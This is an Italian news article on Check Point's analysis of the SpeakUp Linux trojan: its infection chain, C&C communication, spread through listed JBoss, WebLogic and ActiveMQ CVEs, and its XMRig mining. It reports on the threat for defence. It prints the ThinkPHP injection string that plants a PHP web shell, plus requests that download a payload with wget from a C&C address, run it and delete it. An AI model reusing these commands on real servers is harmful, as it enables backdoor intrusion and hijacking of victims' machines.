Si chiama SpeakUp il nuovo trojan che infetta i server Linux installando una backdoor capace di eludere tutti i software di sicurezza. A identificarlo sono stati gli analisti di Check Point secondo i quali il malware, attualmente molto diffuso in Cina e America Latina, ha caratteristiche tecniche così particolari da poter ampliare rapidamente l’infezione a tutto il mondo.
Il trojan, che prende il nome da uno dei server di comando e controllo (speakupomaha[.]com) dai quali riceve le istruzioni malevoli dai criminal hacker, sfrutta una vulnerabilità del modulo ThinkPHP per avviare una shell PHP utilizzando questo comando:
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php
Successivamente provvede a installare una backdoor in Perl sulla macchina infetta.
Indice degli argomenti
SpeakUp: analisi tecnica del trojan
La catena infettiva, in particolare, si completa in diverse fasi:
- innanzitutto il vettore di infezione sfrutta la vulnerabilità ThinkPHP (identificata come CVE-2018-20062) per caricare la shell PHP;
- successivamente avvia il suo payload precedentemente iniettato sul server mediante una richiesta HTTP standard: /?module=wget hxxp://67[.]209.177.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc;
- il codice malevolo viene quindi memorizzato nella directory /tmp/e3ac24a0bcddfacd010a6c10f4a814bc;
- una nuova richiesta HTTP inviata al server C&C consente al malware di avviare lo script Perl per l’installazione della backdoor e, dopo due secondi, cancellare il payload dalla macchina infetta: /?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc.
La particolarità della backdoor installata da SpeakUp sul server compromesso è che, al momento, non viene riconosciuta da alcuna soluzione di sicurezza. Questa caratteristica è stata confermata da una scansione su un sample del trojan eseguita dagli analisti si Check Point lo scorso 9 gennaio con il tool online VirusTotal.
A complicare un’eventuale identificazione del trojan anche il fatto che tutte le comunicazioni con i server C&C vengono offuscate con un sistema di codifica Base64.
La comunicazione della backdoor installata da SpeakUp inizia quindi con una richiesta POST al server C&C per inviare l’ID della macchina compromessa e altre informazioni. L’immediata risposta del server C&C è il comando “needrgr” per indicare che la vittima infetta è nuova sul server e necessita quindi di una registrazione, che il trojan effettua eseguendo i seguenti comandi Linux:
- Uname (-r, -v, -m, -n, -a, -s)
- Whoami
- Ifconfig -a
- ;Arp -a
- cat /proc/cpuinfo | grep -c “cpu family” 2>&1
- who -b
A questo punto, tra il trojan e il server C&C inizia una fitta comunicazione per lo scambio di comandi e informazioni. I criminal hacker, inoltre, hanno pensato anche a garantire la persistenza di SpeakUp sulla macchina infetta mediante l’utilizzo dei comandi cron e mutex che consentono di mantenere un’istanza del trojan sempre attiva.
Completata tutta la catena infettiva, SpeakUp è in grado di sfruttare altri exploit e vulnerabilità note per diffondersi anche su server e macchine (potrebbero essere anche computer Mac) collegate in rete locale. Le vulnerabilità attualmente identificate dagli analisti di Check Point sono le seguenti:
- CVE-2012-0874: JBoss Enterprise Application Platform Multiple Security Bypass Vulnerabilities
- CVE-2010-1871: JBoss Seam Framework remote code execution
- JBoss AS 3/4/5/6: Remote Command Execution (exploit)
- CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE
- CVE-2018-2894: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware.
- Hadoop YARN ResourceManager – Command Execution (exploit)
- CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability.
SpeakUp: il trojan invisibile che genera criptovalute
Un’altra particolare caratteristica di SpeakUp è quella di riuscire a sfruttare la potenza di calcolo dei server compromessi per generare criptovalute mediante il coin miner XMRig che il trojan riesce ad installare sulle macchine infette. Il fatto che finora tutti i miner installati siano riusciti a generare circa 107 Monero, equivalenti ad appena 4.500 dollari, lascia però intuire che il vero intento dei criminal hacker sia quello di “testare” SpeakUp per modificarne l’exploit principale ed espandere così l’infezione.
Secondo i ricercatori Check Point, infatti, “la modalità di propagazione usata da SpeakUp e le tecniche di offuscamento dei payload sono senza dubbio il risultato di un lavoro molto specializzato per la realizzazione di una minaccia decisamente più pericolosa. È difficile immaginare che qualcuno possa costruire un array di payloads così complesso solo per distribuire pochi miner”.
Il rischio, concludono i ricercatori, è appunto che “i creatori di questa minaccia possono, in qualsiasi momento, distribuire payloads aggiuntivi, potenzialmente più invadenti e offensivi”.
Secondo Andrea Argentin, Sales Engineer Manager, Italy & Iberia di CyberArk, “ormai questi tipi di attacchi danno la possibilità di rimanere invisibili e allo stesso tempo dare il controllo completo del sistema. Inoltre, il malware stesso, oltre ad attivare il mining, effettua una scansione della rete per assoggettare nuovi sistemi, utilizzando sia l’exploit di vulnerabilità applicative, sia un classico ma sempre attuale brute force attack. Sono due le cose alle quali fa più attenzione di fronte a questo malware: il rendere quanto più irrintracciabile la C&C e la proliferazione, in quanto per le logiche del minino più sistemi hai più sei efficace”.
Al momento, purtroppo, non c’è modo di difendersi da questo pericoloso trojan, almeno fintanto che i produttori di soluzioni di sicurezza non rilascino le firme antivirali aggiornate in grado di riconoscerlo e renderlo innocuo.